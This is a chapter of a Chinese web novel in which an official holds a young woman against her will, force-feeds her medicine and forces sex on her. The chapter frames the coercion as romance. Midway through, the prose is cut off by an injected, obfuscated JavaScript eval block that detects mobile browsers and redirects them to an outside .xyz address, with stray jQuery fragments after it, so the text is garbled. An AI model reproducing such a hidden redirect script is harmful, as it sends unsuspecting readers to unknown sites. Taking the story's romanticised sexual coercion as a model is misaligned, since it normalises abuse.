陆铎将马绳丢给福安,疾步踏入留园。几个丫鬟见到主子爷,仿佛抓住了救命稻草,你一言我一语将黎宛这两个月的情形说了一遍。
陆铎越听越不像话,一把推开了房门,只见那道倩影正一动不动地靠在窗边,听见他进来,也不曾回头。
陆铎不自觉屏息凝神,放轻脚步走到她面前。
几月没见,她原本就没几两肉的小脸已然有些凹陷,春日的衣衫穿在她身上显得空落落的,脸上神情麻木,不见往日的一丝生动,周身的颓然之气,叫人莫名有些心惊。
陆铎躬身欲将人抱回床榻,可还没碰到黎宛,就见她脸上露出嫌恶之色。
“你身上什么味道,离我远点。”
陆铎低头嗅了嗅衣襟,果然有一股脂粉味,这才想起方才这里被那琴姬碰过。他急着过来,倒忘了先去换一身衣裳了。
黎宛一想到陆铎从什么地方回来,又碰了什么人,心底就止不住地犯恶心。
“陆大人身边狂蜂浪蝶想必不少,论伺候讨好的功夫,我自愧不如,敢问陆大人难道就少我这一个么?”
陆铎知道她这是误会了,本想解释一番,可转念一想,她什么身份?要他陆铎开口向她解释?哪怕是正妻,也不敢在他面前这般争风吃醋。
于是话到嘴边却变了味,“爷在外头如何还轮不到你置喙。到是你这做派几个意思,是想把自个儿折腾死不成?”
“想死,那也得问问爷同不同意!”陆铎说着,三两下褪去外衣扔到一旁,将黎宛拦腰抱起,放置在床榻上。
放在平时,以黎宛的气性,高低要跟他争辩几句,可现下她是真的没有丝毫力气,索性闭了眸,任陆铎摆布。
陆铎见她这幅要死不活的样子,不免有些着急上火,“福安,拿着爷的令牌,去请御医,速去速回!”
福安马不停蹄地去了。陆铎生怕自己对着她那副死样再说出几句难听的话来,万一真激得人一头撞死在柱子上,因而便在门外来回踱步,直到当值的蔡御医火急火燎地赶来。
“蔡御医,深夜多有打扰,是陆某人唐突了。”
“陆大人客气,病人在哪?烦请带路。”蔡御医面上客气,心中却诸多疑问,都知道陆大人尚未娶妻,其他家眷均在扬州,这是什么人值得他深夜拿着令牌请自个儿来看病?
直待进了房门,见到床榻上那女子的脸色,蔡御医心头一惊,收起多余的心思,专心把脉问诊起来。
蔡御医问起黎宛日常的吃喝习惯,甚至小日子的时间都一一问过去,陆铎站在一旁,一问三不知,黎宛也闭口不答。陆铎只好将几个丫鬟召进来,好在几个丫鬟平日里都在细心记着,这才让蔡御医有了些头绪。
诊了将近半个时辰,一行人才从黎宛的房内出来。
挥退了旁人,陆铎直言问道:“蔡御医,她到底得的什么病?”
蔡御医抚了抚白须,道:“心病还须心药医,陆大人,那姑娘年纪轻轻却没了生志,老夫的药只能缓解一二,若要根除,还得看她自己,老夫也是无能为。”
陆铎听了点点头,将备好的银两递给蔡御医,嘱咐了句今夜之事望他保密,又吩咐福安好生送了回去。
等药煎好,陆铎亲自捧了进去。床榻上的人还是那个直挺挺的姿势,未曾动过,双眼呆呆地看着床帏,空洞洞的。
陆铎心中又气又疼,将那汤药吹凉,又把人扶坐起来靠在自己肩头。
“爷喂你喝药。”说着,将一勺汤药递到黎宛嘴边。
黎宛没有任何反应,也不张嘴,陆铎静静等了几息,失了耐心。
他手指用力掰开黎宛的嘴,将药水灌了进去。
“咳咳咳……”黎宛被呛得咳嗽,胸口剧烈起伏。
陆铎没做过这些,有些手忙脚乱地替黎宛擦拭,末了又说一句:“你自己喝,还是爷逼你喝?”
黎宛终于开了口,空洞的眼神好似在对空气自言自语。
“陆铎,放了我,或者让我死。”
陆铎最听不得黎宛说这些话,气得欲狠狠摔掉手里的汤药,可到底忍住了,半晌回道:“放你走,不可能。说一个爷能答应你的要求。”
“陆铎,你不缺女人,为何独独不能放过我?!”黎宛愤恨难平。
陆铎一愣,知是琴姬之事叫她误会了,“自你之后,爷没有碰过别人。”
黎宛冷笑不语。
几息过后,到底是陆铎先妥协了。
“爷退一步,成吗?”
“等爷娶了妻,就放你走。”
“什么时候?”黎宛眼神中燃起了一丝希望,她追问道。
“六个月。”
“爷娶妻之前,你安心做爷的女人。”
说完这话,陆铎深呼了口气。想他陆铎在官场平步青云,要风得风要雨得雨,多少莺莺燕燕欲在他身上停留,可偏偏就她!好似多待在他身边一刻,就会要了她的命!
黎宛知道他话中的意思,六个月,完完全全成为他的人。
然后,她就可以换来崭新的自由人生。
“陆铎,你一定要说话算话!”黎宛气若游丝,但说出的话却无比坚定。
“喝药吧,否则你都没命撑到那一天。”
黎宛接过陆铎递来的汤药,一口气喝完了。
这夜,黎宛睡得很沉很沉。
*
雪樱等人惊讶地发现,自主子爷来了一趟之后,姑娘的精神一日日好了起来。主子爷也不像从前那般,一月两月的不出现,近些时日一得空就往留园来。
黎宛照着御医的方子精心调养了一个月,身子总算恢复如初,她又成了那个能吃能睡能跑的黎宛了。
这日陆铎下了值,身上官服未来得及换便从小门进了园子。
“你们姑娘呢?”陆铎问春菱。
春菱摇摇头:“姑娘正在房里做着什么新奇玩意儿,聚精会神的,不叫我们打扰。”
陆铎不免好奇,房门未关,他轻手轻脚地往里走,只见黎宛正低着头在一本小册子封面上题字。
“倒、数、日。”
看到这三个字,陆铎的脸瞬间沉了下来,他一把夺过那册子捏在手中。
黎宛被这突如其来的举动吓了一跳,见是陆铎,起身怒道:“你还我!”
“爷还当你在做什么宝贝,原是掰着手指头数着什么时候能离开爷。”
“本就是说好的最多六个月,我怕记岔了日子,你当如何?”黎宛说着要伸手去夺回。
陆铎手长,将那册子高高举过头顶,饶是黎宛跳得直喘气也没能够到。
黎宛索性不理他,转身欲要坐回去,恰此时,却被一股大力从背后紧紧抱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178854|180856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住!
陆铎本是有火气的,可见黎宛跳得小脸红扑扑的,胸口因喘着气而起伏着,那模样不知有多招惹人,腹中那股怒火不知怎的成了一股邪火,蹭得烧了起来。
美人如玉,此刻被他紧箍在怀中,陆铎忍不住埋头在黎宛的后脖颈,深吸了一口气。
那暗暗的幽香,他欲尝之久矣。
“身子好了罢。”
黎宛没回答,陆铎将人一把打横抱到床榻上,大手一挥,床幔落下。陆铎整个人压在黎宛身上,那眼神,似要将她生吞活剥。
他灼热的呼吸喷在她裸露的皮肤上,黎宛只觉得浑身发毛。她知道这一日迟早要来,可真的来了,她又觉得实在难以忍受。
就当做被狗咬了一口,没事的。黎宛宽慰自己。
“怎的不说话?”陆铎咬着她的耳垂,在她耳旁低声问道。
还有五个月,再坚持一下……
陆铎的衣衫不知何时已褪个精光,男人精壮的身体蓦地落入黎宛的眼中,那胸前还有几处狰狞的疤痕。
黎宛忙偏过头,不愿多看一眼。
陆铎却捏着人的下巴又将她的脸转了回来:“怎么,爷很可怕吗?”
黎宛按捺住自己想要推开他夺路而逃的冲动,微微摇了摇头。
“那就睁开眼,看着爷。”
黎宛只得照做,就在陆铎将要行事前,黎宛忍不住说了句。
“还有五个半月,你说话算话。”
短短几个字,却在顷刻间让陆铎眼中怜爱消散褪尽,如数化作让人遍体生寒的怒意。
“敬酒不吃吃罚酒!”陆铎说完,动作再没有先前的半分温柔。
这夜至最后,黎宛已几乎失了神智。
陆铎虽得偿所愿,可眉眼间却无一丝宽解之意。
他翻身下床,自顾自披上外衣,不再看床榻中人,径直离开。
门口守着的嫣红见主子爷从房中出来,连忙上前小心问道:“主子爷,避子汤熬好了,要端进去吗?”
陆铎看了一眼殷红,点点头:“你做的很好,送进去,看着她喝完。”声音里却没有半分情绪。
嫣红进去的时候,看见那床幔后模糊的人影,上前道:“姑娘,喝汤药了。”
床幔里传来一丝若有似乎的细声:“什么药?”
“回姑娘,是避子汤。”
一只手臂从床幔后伸出来接过汤药,嫣红不小心抬眼,看到那原本雪白的臂膀上此时竟遍布红痕,不禁心头狂跳,赶紧低垂下了头,不敢再看。
“奴婢服侍姑娘换洗罢。”
黎宛勉强撑起身子,一口气将那避子汤喝完,“给我打些水便好,不必进来伺候。”
她一点儿也不想让别人看到自己现在的样子,嘴唇破了皮见了血,浑身上下更是没有一处没有完好的地方。
黎宛将自己全数浸没在浴桶中,洗了一遍又一遍。
床边还有一支嫣红一并送进来的药膏,说是活血化瘀的,黎宛咬咬牙,忍着屈辱往自己身子上擦药膏,努力不去回忆今夜的遭遇。
可涂着涂着,她手的动作渐渐停了下来。
一滴眼泪“啪嗒”一声滴落,在床榻上氤氲开来。
不远处那本小册子已烧成灰烬,被风吹散开来。
这般非人的日子,还要五个半月。